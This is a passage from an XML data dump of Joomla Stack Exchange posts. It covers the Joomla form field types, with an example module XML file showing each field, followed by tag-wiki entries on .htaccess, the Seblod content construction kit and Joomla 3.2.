|&#xA;+---------------------+-------------------------------------------------------------------------------------------------------+&#xA;| Content Language    | Provides a list of content languages.                                                                 |&#xA;+---------------------+-------------------------------------------------------------------------------------------------------+&#xA;| Content Type        | Provides a list of content types.                                                                     |&#xA;+---------------------+-------------------------------------------------------------------------------------------------------+&#xA;| combo               | provides a combo box field.                                                                           |&#xA;+---------------------+-------------------------------------------------------------------------------------------------------+&#xA;| componentlayout     | provides a grouped list of core and template alternate layouts                                        |&#xA;|                     | for a component item.                                                                                 |&#xA;+---------------------+-------------------------------------------------------------------------------------------------------+&#xA;| contentlanguage     | provides a list of installed content languages for use in                                             |&#xA;|                     | conjunction with the language switcher plugin.                                                        |&#xA;+---------------------+-------------------------------------------------------------------------------------------------------+&#xA;| Database Connection | Provides a list of available database connections,                                                    |&#xA;|                     | optionally limiting to a given list.                                                                  |&#xA;+---------------------+-------------------------------------------------------------------------------------------------------+&#xA;| editor              | provides an editor area field.                                                                        |&#xA;+---------------------+-------------------------------------------------------------------------------------------------------+&#xA;| editors             | Provides a drop down list of the available WYSIWYG editors.                                           |&#xA;|                     | Since Joomla 2.5 use plugins form field instead.                                                      |&#xA;+---------------------+-------------------------------------------------------------------------------------------------------+&#xA;| email               | provides an email field.                                                                              |&#xA;+---------------------+-------------------------------------------------------------------------------------------------------+&#xA;| file                |                                                                                                       |&#xA;+---------------------+-------------------------------------------------------------------------------------------------------+&#xA;| filelist            | provides a drop down list of files from a specified directory.                                        |&#xA;+---------------------+-------------------------------------------------------------------------------------------------------+&#xA;| folderlist          | provides a drop down list of folders from a specified directory.                                      |&#xA;+---------------------+-------------------------------------------------------------------------------------------------------+&#xA;| groupedlist         | provides a drop down list of items organized into groups.                                             |&#xA;+---------------------+-------------------------------------------------------------------------------------------------------+&#xA;| header tag          | provides a drop down list of the header tags (h1-h6).                                                 |&#xA;+---------------------+-------------------------------------------------------------------------------------------------------+&#xA;| helpsite            | provides a drop down list of the help sites for your Joomla installation.                             |&#xA;+---------------------+-------------------------------------------------------------------------------------------------------+&#xA;| hidden              | provides a hidden field for saving a form field whose value cannot be altered directly                |&#xA;|                     | by a user in the Administrator (it can be altered in code or by editing the params.ini file).         |&#xA;+---------------------+-------------------------------------------------------------------------------------------------------+&#xA;| imagelist           | provides a drop down list of image files in a specified directory.                                    |&#xA;+---------------------+-------------------------------------------------------------------------------------------------------+&#xA;| integer             | provides a drop down list of integers between a minimum and maximum.                                  |&#xA;+---------------------+-------------------------------------------------------------------------------------------------------+&#xA;| language            | provides a drop down list of the installed languages for the Front-end or Back-end.                   |&#xA;+---------------------+-------------------------------------------------------------------------------------------------------+&#xA;| list                | provides a drop down list of custom-defined entries.                                                  |&#xA;+---------------------+-------------------------------------------------------------------------------------------------------+&#xA;| media               | provides modal access to the media manager for insertion of images with                               |&#xA;|                     | upload for users with appropriate permissions.                                                        |&#xA;+---------------------+-------------------------------------------------------------------------------------------------------+&#xA;| menu                | provides a drop down list of the available menus from your Joomla site.                               |&#xA;+---------------------+-------------------------------------------------------------------------------------------------------+&#xA;| Menu Item           | provides a drop down list of the available menu items from your Joomla site.                          |&#xA;+---------------------+-------------------------------------------------------------------------------------------------------+&#xA;| Module Layout       | provides a list of alternative layout for a module grouped by core and template.                      |&#xA;+---------------------+-------------------------------------------------------------------------------------------------------+&#xA;| Module Order        | Provides a drop down to set the ordering of module in a given position                                |&#xA;+---------------------+-------------------------------------------------------------------------------------------------------+&#xA;| Module Position     | provides a text input to set the position of a module.                                                |&#xA;+---------------------+-------------------------------------------------------------------------------------------------------+&#xA;| Module Tag          | provides a list of html5 elements (used to wrap a module in).                                         |&#xA;+---------------------+-------------------------------------------------------------------------------------------------------+&#xA;| note                | supports a one line text field.                                                                       |&#xA;+---------------------+-------------------------------------------------------------------------------------------------------+&#xA;| password            | provides a text box for entry of a password.                                                          |&#xA;|                     | The password characters will be obscured as they are entered.                                         |&#xA;+---------------------+-------------------------------------------------------------------------------------------------------+&#xA;| plugins             | provides a list of plugins from a given folder.                                                       |&#xA;+---------------------+-------------------------------------------------------------------------------------------------------+&#xA;| radio               | provides radio buttons to select different options.                                                   |&#xA;+---------------------+-------------------------------------------------------------------------------------------------------+&#xA;| repeatable          | Allows form fields which can have as many options as the user desires.                                |&#xA;+---------------------+-------------------------------------------------------------------------------------------------------+&#xA;| rules               | provides a matrix of group by action options for managing access control. Display depends on context. |&#xA;+---------------------+-------------------------------------------------------------------------------------------------------+&#xA;| sessionhandler      | provides a drop down list of session handler options.                                                 |&#xA;+---------------------+-------------------------------------------------------------------------------------------------------+&#xA;| spacer              | provides a visual separator between form fields. It is purely a visual aid and no value is stored.    |&#xA;+---------------------+-------------------------------------------------------------------------------------------------------+&#xA;| sql                 | provides a drop down list of entries obtained by running a query on the Joomla Database.              |&#xA;|                     | The first results column returned by the query provides the values for the drop down box.             |&#xA;+---------------------+-------------------------------------------------------------------------------------------------------+&#xA;| tag                 | provides an entry point for tags (either AJAX or Nested).                                             |&#xA;+---------------------+-------------------------------------------------------------------------------------------------------+&#xA;| tel                 | provides an input field for a telephone number.                                                       |&#xA;+---------------------+-------------------------------------------------------------------------------------------------------+&#xA;| templatestyle       | provides a drop down list of template styles.                                                         |&#xA;+---------------------+-------------------------------------------------------------------------------------------------------+&#xA;| text                | provides a text box for data entry.                                                                   |&#xA;+---------------------+-------------------------------------------------------------------------------------------------------+&#xA;| textarea            | provides a text area for entry of multi-line text.                                                    |&#xA;+---------------------+-------------------------------------------------------------------------------------------------------+&#xA;| timezone            | provides a drop down list of time zones.                                                              |&#xA;+---------------------+-------------------------------------------------------------------------------------------------------+&#xA;| URL                 | provides a URL text input field.                                                                      |&#xA;+---------------------+-------------------------------------------------------------------------------------------------------+&#xA;| user                | provides a modal list of users.                                                                       |&#xA;+---------------------+-------------------------------------------------------------------------------------------------------+&#xA;| usergroup           | provides a drop down list of user groups.                                                             |&#xA;+---------------------+-------------------------------------------------------------------------------------------------------+&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The complete list with examples can be found at &lt;a href=&quot;http://docs.joomla.org/Form_field&quot; rel=&quot;noreferrer&quot;&gt;http://docs.joomla.org/Form_field&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;h2&gt;Example usage&lt;/h2&gt;&#xA;&lt;p&gt;This example XML file with (almost) all available fields might be useful in order to see all available fields and how they look:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;UTF-8&amp;quot;?&amp;gt;&#xA;&amp;lt;extension version=&amp;quot;2.5&amp;quot; type=&amp;quot;module&amp;quot; client=&amp;quot;site&amp;quot; method=&amp;quot;upgrade&amp;quot;&amp;gt;&#xA;   &amp;lt;name&amp;gt;All fields Demo&amp;lt;/name&amp;gt;&#xA;   &amp;lt;description&amp;gt;XML file containing all available form fields in Joomla&amp;lt;/description&amp;gt;&#xA;   &amp;lt;files&amp;gt;&#xA;      &amp;lt;filename module=&amp;quot;mod_AllFields&amp;quot;&amp;gt;mod_AllFields.php&amp;lt;/filename&amp;gt;&#xA;   &amp;lt;/files&amp;gt;&#xA;   &amp;lt;config&amp;gt;&#xA;      &amp;lt;fields name=&amp;quot;params&amp;quot;&amp;gt;&#xA;         &amp;lt;fieldset name=&amp;quot;basic&amp;quot;&amp;gt;&#xA;            &amp;lt;field name=&amp;quot;access&amp;quot; type=&amp;quot;accesslevel&amp;quot; label=&amp;quot;JFIELD_ACCESS_LABEL&amp;quot; description=&amp;quot;JFIELD_ACCESS_DESC&amp;quot; class=&amp;quot;span12 small&amp;quot; /&amp;gt;&#xA;            &amp;lt;field name=&amp;quot;cache_handler&amp;quot; type=&amp;quot;cachehandler&amp;quot; default=&amp;quot;&amp;quot; label=&amp;quot;Cache Handler Field type&amp;quot; description=&amp;quot;COM_CONFIG_FIELD_CACHE_HANDLER_DESC&amp;quot; filter=&amp;quot;word&amp;quot; /&amp;gt;&#xA;            &amp;lt;field name=&amp;quot;mycalendar&amp;quot; type=&amp;quot;calendar&amp;quot; default=&amp;quot;5-10-2008&amp;quot; label=&amp;quot;Select a date&amp;quot; description=&amp;quot;&amp;quot; format=&amp;quot;%d-%m-%Y&amp;quot; /&amp;gt;&#xA;            &amp;lt;field name=&amp;quot;captcha&amp;quot; type=&amp;quot;plugins&amp;quot; folder=&amp;quot;captcha&amp;quot; label=&amp;quot;Captcha Selection field&amp;quot; description=&amp;quot;COM_CONTACT_FIELD_CAPTCHA_DESC&amp;quot; default=&amp;quot;&amp;quot; filter=&amp;quot;cmd&amp;quot;&amp;gt;&#xA;               &amp;lt;option value=&amp;quot;&amp;quot;&amp;gt;JOPTION_USE_DEFAULT&amp;lt;/option&amp;gt;&#xA;               &amp;lt;option value=&amp;quot;0&amp;quot;&amp;gt;JOPTION_DO_NOT_USE&amp;lt;/option&amp;gt;&#xA;            &amp;lt;/field&amp;gt;&#xA;            &amp;lt;field name=&amp;quot;mycategory&amp;quot; type=&amp;quot;category&amp;quot; extension=&amp;quot;com_content&amp;quot; label=&amp;quot;Select a category&amp;quot; description=&amp;quot;&amp;quot; /&amp;gt;&#xA;            &amp;lt;field name=&amp;quot;show_title&amp;quot; type=&amp;quot;checkbox&amp;quot; label=&amp;quot;Show title&amp;quot; description=&amp;quot;Show the title of the item&amp;quot; value=&amp;quot;1&amp;quot; /&amp;gt;&#xA;            &amp;lt;field name=&amp;quot;toppings&amp;quot; type=&amp;quot;checkboxes&amp;quot;&amp;gt;&#xA;               &amp;lt;option value=&amp;quot;anch&amp;quot;&amp;gt;Anchovies&amp;lt;/option&amp;gt;&#xA;               &amp;lt;option value=&amp;quot;chor&amp;quot;&amp;gt;Chorizo&amp;lt;/option&amp;gt;&#xA;               &amp;lt;option value=&amp;quot;on&amp;quot;&amp;gt;Onions&amp;lt;/option&amp;gt;&#xA;               &amp;lt;option value=&amp;quot;mush&amp;quot;&amp;gt;Mushrooms&amp;lt;/option&amp;gt;&#xA;            &amp;lt;/field&amp;gt;&#xA;            &amp;lt;field name=&amp;quot;style&amp;quot; type=&amp;quot;chromestyle&amp;quot; label=&amp;quot;COM_MODULES_FIELD_MODULE_STYLE_LABEL&amp;quot; description=&amp;quot;COM_MODULES_FIELD_MODULE_STYLE_DESC&amp;quot; /&amp;gt;&#xA;            &amp;lt;field name=&amp;quot;backgroundcolor&amp;quot; type=&amp;quot;color&amp;quot; default=&amp;quot;#eee&amp;quot; label=&amp;quot;Color selector field&amp;quot; description=&amp;quot;TPL_BEEZ3_FIELD_HEADER_BACKGROUND_COLOR_DESC&amp;quot; /&amp;gt;&#xA;            &amp;lt;field name=&amp;quot;types&amp;quot; type=&amp;quot;contenttype&amp;quot; label=&amp;quot;Tags field type&amp;quot; description=&amp;quot;COM_TAGS_FIELD_TYPE_DESC&amp;quot; multiple=&amp;quot;true&amp;quot; /&amp;gt;&#xA;            &amp;lt;field name=&amp;quot;myeditbox&amp;quot; type=&amp;quot;combobox&amp;quot; label=&amp;quot;MyEditBox&amp;quot; description=&amp;quot;myeditbox_Desc&amp;quot; size=&amp;quot;7&amp;quot; /&amp;gt;&#xA;            &amp;lt;field name=&amp;quot;mylayout&amp;quot; type=&amp;quot;componentlayout&amp;quot; extension=&amp;quot;com_content&amp;quot; view=&amp;quot;article&amp;quot; label=&amp;quot;Component Layout field&amp;quot; useglobal=&amp;quot;true&amp;quot; description=&amp;quot;JFIELD_ALT_COMPONENT_LAYOUT&amp;quot; /&amp;gt;&#xA;            &amp;lt;field name=&amp;quot;language&amp;quot; type=&amp;quot;contentlanguage&amp;quot; label=&amp;quot;JFIELD_LANGUAGE_LABEL&amp;quot; description=&amp;quot;COM_CATEGORIES_FIELD_LANGUAGE_DESC&amp;quot; class=&amp;quot;span12 small&amp;quot;&amp;gt;&#xA;               &amp;lt;option value=&amp;quot;*&amp;quot;&amp;gt;JALL&amp;lt;/option&amp;gt;&#xA;            &amp;lt;/field&amp;gt;&#xA;            &amp;lt;field name=&amp;quot;dbtype&amp;quot; type=&amp;quot;databaseconnection&amp;quot; label=&amp;quot;DB type field&amp;quot; description=&amp;quot;COM_CONFIG_FIELD_DATABASE_TYPE_DESC&amp;quot; supported=&amp;quot;mysql,mysqli,postgresql,sqlsrv,sqlazure&amp;quot; filter=&amp;quot;string&amp;quot; /&amp;gt;&#xA;            &amp;lt;field name=&amp;quot;test1&amp;quot; label=&amp;quot;Test Field&amp;quot; type=&amp;quot;editor&amp;quot; width=&amp;quot;300&amp;quot; filter=&amp;quot;safehtml&amp;quot; /&amp;gt;&#xA;            &amp;lt;field name=&amp;quot;email&amp;quot; type=&amp;quot;email&amp;quot; label=&amp;quot;JGLOBAL_EMAIL&amp;quot; description=&amp;quot;COM_ADMIN_USER_FIELD_EMAIL_DESC&amp;quot; required=&amp;quot;true&amp;quot; size=&amp;quot;30&amp;quot; class=&amp;quot;inputbox&amp;quot; validate=&amp;quot;email&amp;quot; /&amp;gt;&#xA;            &amp;lt;field name=&amp;quot;myfilevalue&amp;quot; type=&amp;quot;file&amp;quot; label=&amp;quot;Enter some text&amp;quot; description=&amp;quot;Choose an image from your computer with maximum 100KB&amp;quot; size=&amp;quot;10&amp;quot; accept=&amp;quot;image/*&amp;quot; /&amp;gt;&#xA;            &amp;lt;field name=&amp;quot;myfile&amp;quot; type=&amp;quot;filelist&amp;quot; default=&amp;quot;&amp;quot; label=&amp;quot;Select a file&amp;quot; description=&amp;quot;&amp;quot; directory=&amp;quot;administrator&amp;quot; filter=&amp;quot;&amp;quot; exclude=&amp;quot;&amp;quot; stripext=&amp;quot;&amp;quot; /&amp;gt;&#xA;            &amp;lt;field name=&amp;quot;myfolder&amp;quot; type=&amp;quot;folderlist&amp;quot; default=&amp;quot;&amp;quot; label=&amp;quot;Select a folder&amp;quot; directory=&amp;quot;administrator&amp;quot; filter=&amp;quot;&amp;quot; exclude=&amp;quot;&amp;quot; stripext=&amp;quot;&amp;quot; /&amp;gt;&#xA;            &amp;lt;field name=&amp;quot;mylistvalue&amp;quot; type=&amp;quot;groupedlist&amp;quot; default=&amp;quot;&amp;quot; label=&amp;quot;Select an option&amp;quot; description=&amp;quot;&amp;quot;&amp;gt;&#xA;               &amp;lt;group label=&amp;quot;Group 1&amp;quot;&amp;gt;&#xA;                  &amp;lt;option value=&amp;quot;0&amp;quot;&amp;gt;Option 1&amp;lt;/option&amp;gt;&#xA;                  &amp;lt;option value=&amp;quot;1&amp;quot;&amp;gt;Option 2&amp;lt;/option&amp;gt;&#xA;               &amp;lt;/group&amp;gt;&#xA;               &amp;lt;group label=&amp;quot;Group 2&amp;quot;&amp;gt;&#xA;                  &amp;lt;option value=&amp;quot;3&amp;quot;&amp;gt;Option 3&amp;lt;/option&amp;gt;&#xA;                  &amp;lt;option value=&amp;quot;4&amp;quot;&amp;gt;Option 4&amp;lt;/option&amp;gt;&#xA;               &amp;lt;/group&amp;gt;&#xA;               &amp;lt;option value=&amp;quot;5&amp;quot;&amp;gt;Option 5&amp;lt;/option&amp;gt;&#xA;               &amp;lt;option value=&amp;quot;6&amp;quot;&amp;gt;Option 6&amp;lt;/option&amp;gt;&#xA;            &amp;lt;/field&amp;gt;&#xA;            &amp;lt;field name=&amp;quot;header_tag&amp;quot; type=&amp;quot;headertag&amp;quot; label=&amp;quot;COM_MODULES_FIELD_HEADER_TAG_LABEL&amp;quot; description=&amp;quot;COM_MODULES_FIELD_HEADER_TAG_DESC&amp;quot; default=&amp;quot;h3&amp;quot; /&amp;gt;&#xA;            &amp;lt;field name=&amp;quot;myhelpsite&amp;quot; type=&amp;quot;helpsite&amp;quot; default=&amp;quot;&amp;quot; label=&amp;quot;Select a help site&amp;quot; description=&amp;quot;&amp;quot; /&amp;gt;&#xA;            &amp;lt;field name=&amp;quot;mysecretvariable&amp;quot; type=&amp;quot;hidden&amp;quot; default=&amp;quot;&amp;quot; /&amp;gt;&#xA;            &amp;lt;field name=&amp;quot;myimage&amp;quot; type=&amp;quot;imagelist&amp;quot; default=&amp;quot;&amp;quot; label=&amp;quot;Select an image&amp;quot; description=&amp;quot;&amp;quot; directory=&amp;quot;&amp;quot; exclude=&amp;quot;&amp;quot; stripext=&amp;quot;&amp;quot; /&amp;gt;&#xA;            &amp;lt;field name=&amp;quot;myintegervalue&amp;quot; type=&amp;quot;integer&amp;quot; default=&amp;quot;Some integer&amp;quot; label=&amp;quot;Choose an integer&amp;quot; description=&amp;quot;&amp;quot; first=&amp;quot;1&amp;quot; last=&amp;quot;10&amp;quot; step=&amp;quot;1&amp;quot; /&amp;gt;&#xA;            &amp;lt;field name=&amp;quot;mylanguage&amp;quot; type=&amp;quot;language&amp;quot; client=&amp;quot;site&amp;quot; default=&amp;quot;en-GB&amp;quot; label=&amp;quot;Select a language&amp;quot; description=&amp;quot;&amp;quot; /&amp;gt;&#xA;            &amp;lt;field name=&amp;quot;mylistvalue&amp;quot; type=&amp;quot;list&amp;quot; default=&amp;quot;&amp;quot; label=&amp;quot;Select an option&amp;quot; description=&amp;quot;&amp;quot;&amp;gt;&#xA;               &amp;lt;option value=&amp;quot;0&amp;quot;&amp;gt;Option 1&amp;lt;/option&amp;gt;&#xA;               &amp;lt;option value=&amp;quot;1&amp;quot;&amp;gt;Option 2&amp;lt;/option&amp;gt;&#xA;            &amp;lt;/field&amp;gt;&#xA;            &amp;lt;field name=&amp;quot;myimage&amp;quot; type=&amp;quot;media&amp;quot; directory=&amp;quot;stories&amp;quot; /&amp;gt;&#xA;            &amp;lt;field name=&amp;quot;mymenu&amp;quot; type=&amp;quot;menu&amp;quot; default=&amp;quot;mainmenu&amp;quot; label=&amp;quot;Select a menu&amp;quot; description=&amp;quot;Select a menu&amp;quot; /&amp;gt;&#xA;            &amp;lt;field name=&amp;quot;mymenuitem&amp;quot; type=&amp;quot;menuitem&amp;quot; default=&amp;quot;45&amp;quot; label=&amp;quot;Select a menu item&amp;quot; description=&amp;quot;Select a menu item&amp;quot; /&amp;gt;&#xA;            &amp;lt;field name=&amp;quot;mymodulelayout&amp;quot; type=&amp;quot;modulelayout&amp;quot; label=&amp;quot;JFIELD_ALT_LAYOUT_LABEL&amp;quot; description=&amp;quot;JFIELD_ALT_MODULE_LAYOUT_DESC&amp;quot; /&amp;gt;&#xA;            &amp;lt;field name=&amp;quot;ordering&amp;quot; type=&amp;quot;moduleorder&amp;quot; label=&amp;quot;JFIELD_ORDERING_LABEL&amp;quot; description=&amp;quot;JFIELD_ORDERING_DESC&amp;quot; /&amp;gt;&#xA;            &amp;lt;field name=&amp;quot;position&amp;quot; type=&amp;quot;moduleposition&amp;quot; description=&amp;quot;COM_MODULES_FIELD_POSITION_DESC&amp;quot; label=&amp;quot;COM_MODULES_FIELD_POSITION_LABEL&amp;quot; default=&amp;quot;&amp;quot; maxlength=&amp;quot;50&amp;quot; /&amp;gt;&#xA;            &amp;lt;field name=&amp;quot;module_tag&amp;quot; type=&amp;quot;moduletag&amp;quot; label=&amp;quot;COM_MODULES_FIELD_MODULE_TAG_LABEL&amp;quot; description=&amp;quot;COM_MODULES_FIELD_MODULE_TAG_DESC&amp;quot; default=&amp;quot;div&amp;quot; /&amp;gt;&#xA;            &amp;lt;field name=&amp;quot;note31&amp;quot; type=&amp;quot;note&amp;quot; class=&amp;quot;alert&amp;quot; close=&amp;quot;true&amp;quot; label=&amp;quot;Note Field&amp;quot; description=&amp;quot;Note field description here.&amp;quot; /&amp;gt;&#xA;            &amp;lt;field name=&amp;quot;mypassword&amp;quot; type=&amp;quot;password&amp;quot; default=&amp;quot;secret&amp;quot; label=&amp;quot;Enter a password&amp;quot; description=&amp;quot;&amp;quot; size=&amp;quot;5&amp;quot; /&amp;gt;&#xA;            &amp;lt;field name=&amp;quot;editor&amp;quot; type=&amp;quot;plugins&amp;quot; folder=&amp;quot;editors&amp;quot; description=&amp;quot;COM_USERS_USER_FIELD_EDITOR_DESC&amp;quot; label=&amp;quot;User editor field type&amp;quot;&amp;gt;&#xA;               &amp;lt;option value=&amp;quot;&amp;quot;&amp;gt;JOPTION_USE_DEFAULT&amp;lt;/option&amp;gt;&#xA;            &amp;lt;/field&amp;gt;&#xA;            &amp;lt;field name=&amp;quot;myradiovalue&amp;quot; type=&amp;quot;radio&amp;quot; default=&amp;quot;0&amp;quot; label=&amp;quot;Select an option&amp;quot; description=&amp;quot;&amp;quot;&amp;gt;&#xA;               &amp;lt;option value=&amp;quot;0&amp;quot;&amp;gt;1&amp;lt;/option&amp;gt;&#xA;               &amp;lt;option value=&amp;quot;1&amp;quot;&amp;gt;2&amp;lt;/option&amp;gt;&#xA;            &amp;lt;/field&amp;gt;&#xA;            &amp;lt;field name=&amp;quot;session_handler&amp;quot; type=&amp;quot;sessionhandler&amp;quot; default=&amp;quot;none&amp;quot; label=&amp;quot;Session handler field type&amp;quot; description=&amp;quot;COM_CONFIG_FIELD_SESSION_HANDLER_DESC&amp;quot; required=&amp;quot;true&amp;quot; filter=&amp;quot;word&amp;quot; /&amp;gt;&#xA;            &amp;lt;field type=&amp;quot;spacer&amp;quot; name=&amp;quot;myspacer&amp;quot; label=&amp;quot;Spacer field type&amp;quot; /&amp;gt;&#xA;            &amp;lt;field name=&amp;quot;title&amp;quot; type=&amp;quot;sql&amp;quot; default=&amp;quot;10&amp;quot; label=&amp;quot;sql Field type&amp;quot; query=&amp;quot;SELECT id AS value, title FROM #__content&amp;quot; /&amp;gt;&#xA;            &amp;lt;field name=&amp;quot;tags&amp;quot; type=&amp;quot;tag&amp;quot; label=&amp;quot;JTAG&amp;quot; description=&amp;quot;JTAG_DESC&amp;quot; mode=&amp;quot;ajax&amp;quot; class=&amp;quot;inputbox span12 small&amp;quot; multiple=&amp;quot;true&amp;quot; /&amp;gt;&#xA;            &amp;lt;field name=&amp;quot;admin_style&amp;quot; type=&amp;quot;templatestyle&amp;quot; client=&amp;quot;administrator&amp;quot; description=&amp;quot;Template style field type&amp;quot; label=&amp;quot;Template style field type&amp;quot;&amp;gt;&#xA;               &amp;lt;option value=&amp;quot;&amp;quot;&amp;gt;JOPTION_USE_DEFAULT&amp;lt;/option&amp;gt;&#xA;            &amp;lt;/field&amp;gt;&#xA;            &amp;lt;field name=&amp;quot;mytextvalue&amp;quot; type=&amp;quot;text&amp;quot; default=&amp;quot;Some text&amp;quot; label=&amp;quot;Enter some text&amp;quot; description=&amp;quot;&amp;quot; size=&amp;quot;10&amp;quot; /&amp;gt;&#xA;            &amp;lt;field name=&amp;quot;mytextarea&amp;quot; type=&amp;quot;textarea&amp;quot; default=&amp;quot;default&amp;quot; label=&amp;quot;Enter some text&amp;quot; description=&amp;quot;&amp;quot; rows=&amp;quot;10&amp;quot; cols=&amp;quot;5&amp;quot; /&amp;gt;&#xA;            &amp;lt;field name=&amp;quot;mytimezone&amp;quot; type=&amp;quot;timezone&amp;quot; default=&amp;quot;-10&amp;quot; label=&amp;quot;Select a timezone&amp;quot; description=&amp;quot;&amp;quot; /&amp;gt;&#xA;            &amp;lt;field name=&amp;quot;mytextvalue&amp;quot; type=&amp;quot;url&amp;quot; default=&amp;quot;http://www.example.com&amp;quot; label=&amp;quot;Enter a URL&amp;quot; description=&amp;quot;&amp;quot; size=&amp;quot;10&amp;quot; /&amp;gt;&#xA;            &amp;lt;field name=&amp;quot;modified_user_id&amp;quot; type=&amp;quot;user&amp;quot; label=&amp;quot;JGLOBAL_FIELD_MODIFIED_BY_LABEL&amp;quot; class=&amp;quot;readonly&amp;quot; readonly=&amp;quot;true&amp;quot; filter=&amp;quot;unset&amp;quot; /&amp;gt;&#xA;            &amp;lt;field name=&amp;quot;guest_usergroup&amp;quot; type=&amp;quot;usergroup&amp;quot; label=&amp;quot;Guest usergroup field type&amp;quot; description=&amp;quot;COM_USERS_CONFIG_FIELD_GUEST_USER_GROUP_DESC&amp;quot; multiple=&amp;quot;true&amp;quot; /&amp;gt;&#xA;         &amp;lt;/fieldset&amp;gt;&#xA;      &amp;lt;/fields&amp;gt;&#xA;   &amp;lt;/config&amp;gt;&#xA;&amp;lt;/extension&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;em&gt;Note that some of the fields are only available in Joomla 3.0 (or 3.1, in the case of &lt;code&gt;contentType&lt;/code&gt;, &lt;code&gt;note&lt;/code&gt; and &lt;code&gt;tag&lt;/code&gt;).&lt;/em&gt;&lt;/p&gt;&#xA;&lt;h2&gt;Custom form field types&lt;/h2&gt;&#xA;&lt;p&gt;An extension can define its own form field types, which can then be used in its own forms or forms created by another extension. See &lt;a href=&quot;http://docs.joomla.org/Creating_a_custom_form_field_type&quot; rel=&quot;noreferrer&quot;&gt;Creating a custom form field type&lt;/a&gt; (Joomla! Documentation) for instructions.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2014-08-20T00:55:04.283" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4116" PostTypeId="5" CreationDate="2014-08-20T01:04:09.887" Score="0" Body="&lt;h1&gt;.htaccess&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;.htaccess is a configuration file for use on web servers running the Apache Web Server software. When a .htaccess file is placed in a directory which is in turn 'loaded via the Apache Web Server', then the .htaccess file is detected and executed by the Apache Web Server software. These .htaccess files can be used to alter the configuration of the Apache Web Server software to enable/disable additional functionality and features that the Apache Web Server software has to offer. These facilities include basic redirect functionality, for instance if a 404 file not found error occurs, or for more advanced functions such as content password protection or image hot link prevention.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A preconfigured htaccess file (htaccess.txt) is delivered with Joomla. It contains instructions to avoid common exploits and implements SEF urls. In addition it provides some settings that needs to be checked for your environment:&lt;br&gt;&#xA;- Options +FollowSymLinks&lt;br&gt;&#xA;- RewriteBase /&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Activating htaccess.txt means merging an existing .htaccess with htaccess.txt and decide on the two settings mentioned above. Note: The active file is set in one of the httpd.conf files with: AccessFileName .htaccess. It defaults to .htaccess, which makes it hidden on a linux filesystem. No need to change that.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="126" LastEditDate="2015-08-21T16:19:43.023" LastActivityDate="2015-08-21T16:19:43.023" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4117" PostTypeId="4" CreationDate="2014-08-20T01:04:09.887" Score="0" Body=".htaccess is a configuration file for use on web servers running the Apache Web Server software." OwnerUserId="1629" LastEditorUserId="1629" LastEditDate="2014-08-20T07:53:15.260" LastActivityDate="2014-08-20T07:53:15.260" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4118" PostTypeId="5" CreationDate="2014-08-20T01:06:00.683" Score="0" Body="&lt;p&gt;Seblod is an Application Builder and Content Construction Kit (CCK) for Joomla that enables you to extend existing content types and create new content types, making your website more data organized, giving you rich content that can be used in many ways instead of having just plain content that can only be read.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Description on the Joomla! Extension Directory (JED): &lt;a href=&quot;http://extensions.joomla.org/extensions/authoring-a-content/content-construction/9128&quot; rel=&quot;nofollow&quot;&gt;http://extensions.joomla.org/extensions/authoring-a-content/content-construction/9128&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can create your own input forms (usable from both Joomla's back-end and front-end) for users to enter content easily.  You can set conditions on what is shown based on other inputs and require validation checks on what is entered to make sure its in the correct format. You can also control the way output is displayed and create custom lists to show different data based on different criteria either selectable by the user or set by a module or menu view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This enables you to do extend existing Joomla content.  For example, you can extend the standard Joomla user profile by adding an Avatar, phone numbers, or other new fields.  Or, you can add new fields to an article that allow you to do your own comment system, Directory or Real estate site.  Using Seblod gives you the freedom to manage your content, extensibly and flexibly so that as your needs change, your content can change, too.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="1629" LastEditDate="2014-08-20T07:53:23.410" LastActivityDate="2014-08-20T07:53:23.410" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4119" PostTypeId="4" CreationDate="2014-08-20T01:06:00.683" Score="0" Body="Seblod is an Application Builder and Content Construction Kit (CCK) for Joomla that enables you to extend existing content types and create new content types." OwnerUserId="1629" LastEditorUserId="1629" LastEditDate="2014-08-20T07:52:53.133" LastActivityDate="2014-08-20T07:52:53.133" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4120" PostTypeId="5" CreationDate="2014-08-20T01:07:30.887" Score="0" Body="&lt;p&gt;For questions regarding Joomla 3.2.x of the Content Management System only. Joomla 3.x is a STS (Short Term Support) version. Support ends one month after the next release of Joomla is released. One click upgrades to the next STS or LTS version is possible. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Both STS and LTS releases, once they have reached the GA (General Availability) status, are fully functional and ready to be used in production environment. The disadvantage of using STS releases is that you will need to update your installation of Joomla more often, while the advantage is that you will have access to new features and extensions earlier.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;History&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Joomla 3.0 was released on September 27, 2012. Originally, it was supposed to be released in July 2012; however, the January/July release schedule was uncomfortable for volunteers, and the schedule was changed to September/March releases &lt;a href=&quot;http://groups.google.com/group/joomla-dev-cms/browse_thread/thread/fd42ad8752150735&quot; rel=&quot;nofollow&quot;&gt;(1)&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Important changes&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Responsive by default.&lt;/strong&gt; The default templates 